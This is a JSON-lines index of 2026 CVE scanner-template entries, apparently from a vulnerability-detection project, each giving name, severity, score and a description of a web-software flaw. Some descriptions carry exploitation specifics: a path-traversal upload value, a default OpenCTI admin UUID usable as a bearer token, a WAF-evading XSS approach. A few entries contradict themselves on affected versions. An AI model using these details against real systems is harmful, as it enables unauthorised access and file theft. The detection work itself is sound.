{"ID":"CVE-2026-25895","Info":{"Name":"FUXA \u003c= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write","Severity":"critical","Description":"FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours \"../\" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-25895.yaml"}
{"ID":"CVE-2026-2614","Info":{"Name":"MLflow \u003c= 3.9.0 - Arbitrary File Read","Severity":"high","Description":"mlflow mlflow \u003c= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2614.yaml"}
{"ID":"CVE-2026-26190","Info":{"Name":"Milvus - Unauthenticated Metrics API Access","Severity":"critical","Description":"Milvus \u003c 2.5.27 and \u003c 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-26190.yaml"}
{"ID":"CVE-2026-26217","Info":{"Name":"Crawl4AI \u003c 0.8.0 - Local File Inclusion","Severity":"critical","Description":"The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-26217.yaml"}
{"ID":"CVE-2026-26265","Info":{"Name":"Discourse - Private User Field Disclosure via Directory Items IDOR","Severity":"high","Description":"Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-26265.yaml"}
{"ID":"CVE-2026-26341","Info":{"Name":"Tattile Camera \u003c 1.181.5 - Default Login","Severity":"high","Description":"Tattile Smart+, Vega, and Basic device families firmware \u003c= 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-26341.yaml"}
{"ID":"CVE-2026-2652","Info":{"Name":"MLflow \u003c 3.10.0 - Authentication Bypass on FastAPI Routes","Severity":"high","Description":"A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-2652.yaml"}
{"ID":"CVE-2026-26980","Info":{"Name":"Ghost CMS Content API - SQL Injection","Severity":"critical","Description":"Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-26980.yaml"}
{"ID":"CVE-2026-2699","Info":{"Name":"Progress ShareFile Storage Zones Controller - Authentication Bypass","Severity":"critical","Description":"Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-2699.yaml"}
{"ID":"CVE-2026-27174","Info":{"Name":"MajorDoMo - Unauthenticated RCE","Severity":"critical","Description":"MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-27174.yaml"}
{"ID":"CVE-2026-27176","Info":{"Name":"MajorDoMo - Cross-Site Scripting","Severity":"medium","Description":"MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-27176.yaml"}
{"ID":"CVE-2026-27454","Info":{"Name":"Discourse \u003c=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass","Severity":"medium","Description":"Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=\u003cpublic_version\u003e, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-27454.yaml"}
{"ID":"CVE-2026-27483","Info":{"Name":"MindsDB - Remote Code Execution","Severity":"high","Description":"MindsDB \u003c 25.9.1.1 contains a remote code execution caused by path traversal in the /api/files upload file module, letting authenticated attackers write arbitrary files and execute commands, exploit requires authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-27483.yaml"}
{"ID":"CVE-2026-27542","Info":{"Name":"WooCommerce Wholesale Lead Capture \u003c= 2.0.3.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture \u003c= 2.0.3.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-27542.yaml"}
{"ID":"CVE-2026-27645","Info":{"Name":"Changedetection.io RSS Single Watch - Cross-Site Scripting","Severity":"medium","Description":"changedetection.io \u003c 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-27645.yaml"}
{"ID":"CVE-2026-27760","Info":{"Name":"OpenCATS - Command Injection","Severity":"high","Description":"OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-27760.yaml"}
{"ID":"CVE-2026-27771","Info":{"Name":"Gitea Container Registry - Unauthorized Private Image Access","Severity":"high","Description":"Gitea \u003c 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-27771.yaml"}
{"ID":"CVE-2026-27796","Info":{"Name":"Homarr \u003c 1.54.0 - Information Disclosure","Severity":"medium","Description":"Homarr \u003c 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-27796.yaml"}
{"ID":"CVE-2026-27826","Info":{"Name":"mcp-atlassian \u003c 0.17.0 - Server-Side Request Forgery","Severity":"high","Description":"MCP Atlassian \u003c 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2026/CVE-2026-27826.yaml"}
{"ID":"CVE-2026-27833","Info":{"Name":"Piwigo \u003c 16.3.0 - Unauthenticated Information Disclosure via History API","Severity":"high","Description":"Piwigo \u003c= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-27833.yaml"}
{"ID":"CVE-2026-27944","Info":{"Name":"Nginx UI \u003c 2.3.3 - Information Disclosure","Severity":"critical","Description":"Nginx UI \u003c 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-27944.yaml"}
{"ID":"CVE-2026-27960","Info":{"Name":"OpenCTI \u003c 6.9.13 - Authentication Bypass via User Impersonation","Severity":"critical","Description":"OpenCTI \u003c 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-27960.yaml"}
{"ID":"CVE-2026-27971","Info":{"Name":"Qwik - Unauthenticated RCE via server$ Deserialization","Severity":"critical","Description":"Qwik \u003c=1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require() availability at runtime.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-27971.yaml"}
{"ID":"CVE-2026-28141","Info":{"Name":"NextGEN Gallery \u003c= 4.2.3 - Reflected Cross-Site Scripting","Severity":"high","Description":"NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2026/CVE-2026-28141.yaml"}
{"ID":"CVE-2026-28288","Info":{"Name":"Dify User Enumeration via Observable Response Discrepancy","Severity":"medium","Description":"Dify is an open-source LLM app development platform. Prior to 1.9.0, responses from the Dify API to existing and non-existent accounts differ, allowing an attacker to enumerate email addresses registered with Dify. Version 1.9.0 fixes the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-28288.yaml"}
{"ID":"CVE-2026-28358","Info":{"Name":"NocoDB - User Enumeration","Severity":"medium","Description":"NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-28358.yaml"}
{"ID":"CVE-2026-28409","Info":{"Name":"WeGIA \u003c= 3.6.4 - Remote Code Execution","Severity":"critical","Description":"WeGIA \u003c= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-28409.yaml"}
{"ID":"CVE-2026-28411","Info":{"Name":"WeGIA \u003c 3.6.5 - Unauthenticated Authentication Bypass via extract()","Severity":"critical","Description":"WeGIA \u003c 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-28411.yaml"}
{"ID":"CVE-2026-28414","Info":{"Name":"Gradio - Absolute Path Traversal","Severity":"high","Description":"Gradio \u003c 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-28414.yaml"}
{"ID":"CVE-2026-28496","Info":{"Name":"FOSSBilling - Server-Side Template Injection","Severity":"critical","Description":"A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-28496.yaml"}
{"ID":"CVE-2026-29014","Info":{"Name":"MetInfo CMS \u003c= 8.1 - Remote Code Execution","Severity":"critical","Description":"MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-29014.yaml"}
{"ID":"CVE-2026-29059","Info":{"Name":"Windmill/Nextcloud Flow \u003c 1.603.3 - Unauthenticated Path Traversal","Severity":"critical","Description":"Windmill \u003c 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-29059.yaml"}
{"ID":"CVE-2026-29066","Info":{"Name":"TinaCMS - Path Traversal","Severity":"medium","Description":"TinaCMS CLI \u003c 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2026/CVE-2026-29066.yaml"}
{"ID":"CVE-2026-29183","Info":{"Name":"SiYuan Note - Cross-Site Scripting","Severity":"medium","Description":"Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-29183.yaml"}
{"ID":"CVE-2026-29962","Info":{"Name":"HSC MailInspector - Local File Inclusion","Severity":"high","Description":"HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-29962.yaml"}
{"ID":"CVE-2026-29963","Info":{"Name":"HSC MailInspector - Unauthenticated Arbitrary File Read","Severity":"high","Description":"HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-29963.yaml"}
{"ID":"CVE-2026-3001","Info":{"Name":"Gutenverse Plugin \u003c= 3.4.6 - Cross-Site Scripting","Severity":"medium","Description":"The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-3001.yaml"}
{"ID":"CVE-2026-3018","Info":{"Name":"WordPress Newsletters \u003c= 4.13 - Unauthenticated SQL Injection","Severity":"high","Description":"Newsletters WordPress plugin \u003c= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3018.yaml"}
{"ID":"CVE-2026-3055","Info":{"Name":"Citrix NetScaler SAML IDP - Memory Overread","Severity":"critical","Description":"NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-3055.yaml"}
{"ID":"CVE-2026-30623","Info":{"Name":"LiteLLM 1.18.10 - Command Injection","Severity":"high","Description":"LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-30623.yaml"}
{"ID":"CVE-2026-30824","Info":{"Name":"Flowise - NVIDIA NIM Endpoints Missing Authentication","Severity":"high","Description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-30824.yaml"}
{"ID":"CVE-2026-30849","Info":{"Name":"MantisBT \u003c 2.28.1 - SOAP API Authentication Bypass","Severity":"critical","Description":"Mantis Bug Tracker \u003c 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-30849.yaml"}
{"ID":"CVE-2026-30928","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-30928.yaml"}
{"ID":"CVE-2026-30958","Info":{"Name":"OneUptime \u003c 10.0.21 - Path Traversal","Severity":"high","Description":"OneUptime \u003c 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-30958.yaml"}
{"ID":"CVE-2026-30965","Info":{"Name":"Parse Server \u003c 8.6.21 / 9.x \u003c 9.5.2 - Session Token Exfiltration","Severity":"critical","Description":"Parse Server \u003c 8.6.21 / 9.x \u003c 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-30965.yaml"}
{"ID":"CVE-2026-31807","Info":{"Name":"SiYuan \u003c= v3.5.9 - SVG Animate Element XSS","Severity":"medium","Description":"SiYuan \u003c= v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31807.yaml"}
{"ID":"CVE-2026-31809","Info":{"Name":"SiYuan \u003c= v3.5.9 - Cross Site Scripting","Severity":"medium","Description":"SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31809.yaml"}
{"ID":"CVE-2026-31816","Info":{"Name":"Budibase - Authentication Bypass","Severity":"critical","Description":"Budibase \u003c= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-31816.yaml"}
{"ID":"CVE-2026-31831","Info":{"Name":"Tautulli \u003c= 2.16.1 - Path Traversal","Severity":"high","Description":"Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-31831.yaml"}
{"ID":"CVE-2026-32230","Info":{"Name":"Uptime-Kuma \u003c v1.23.0 - Improper Access Control","Severity":"medium","Description":"Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32230.yaml"}
{"ID":"CVE-2026-32255","Info":{"Name":"Kan \u003c= 0.5.4 - Server-Side Request Forgery","Severity":"high","Description":"Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-32255.yaml"}
{"ID":"CVE-2026-32475","Info":{"Name":"Elementor Pro \u003c=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler","Severity":"critical","Description":"Elementor Pro plugin for WordPress in versions \u003c=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2026/CVE-2026-32475.yaml"}
{"ID":"CVE-2026-32583","Info":{"Name":"Webnus Inc. Modern Events Calendar - Broken Access Control","Severity":"medium","Description":"Webnus Inc. Modern Events Calendar \u003c= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32583.yaml"}
{"ID":"CVE-2026-32596","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-32596.yaml"}
{"ID":"CVE-2026-3296","Info":{"Name":"Everest Forms WordPress Plugin \u003c= 3.4.3 - PHP Object Injection","Severity":"critical","Description":"The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP's native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3296.yaml"}
{"ID":"CVE-2026-3300","Info":{"Name":"Everest Forms Pro \u003c= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection","Severity":"critical","Description":"The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the \"Complex Calculation\" feature.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3300.yaml"}
{"ID":"CVE-2026-33017","Info":{"Name":"Langflow \u003c 1.9.0 - Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33017.yaml"}
{"ID":"CVE-2026-33032","Info":{"Name":"Nginx UI - Broken Access Control","Severity":"critical","Description":"Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33032.yaml"}
{"ID":"CVE-2026-33057","Info":{"Name":"Mesop AI Sandbox \u003c= 1.2.2 - Remote Code Execution","Severity":"critical","Description":"Mesop \u003c= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33057.yaml"}
{"ID":"CVE-2026-3326","Info":{"Name":"XStore Theme \u003c 9.7.3 - SQL Injection","Severity":"high","Description":"The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-3326.yaml"}
{"ID":"CVE-2026-33340","Info":{"Name":"LoLLMs WEBUI - Server-Side Request Forgery","Severity":"critical","Description":"LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-33340.yaml"}
{"ID":"CVE-2026-3335","Info":{"Name":"Canto \u003c= 3.1.1 - Missing Authorization to Unauthenticated File Upload","Severity":"medium","Description":"The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow.\nThe file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed MIME types.\nThe fbc_app_api parameter controls the domain WordPress fetches from via wp_safe_remote_get, enabling SSRF to attacker-controlled infrastructure.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-3335.yaml"}
{"ID":"CVE-2026-33439","Info":{"Name":"OpenAM \u003c= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization","Severity":"critical","Description":"Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464. This vulnerability is fixed in 16.0.6.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33439.yaml"}
{"ID":"CVE-2026-33476","Info":{"Name":"SiYuan \u003c= v3.6.1 - Path Traversal","Severity":"high","Description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33476.yaml"}
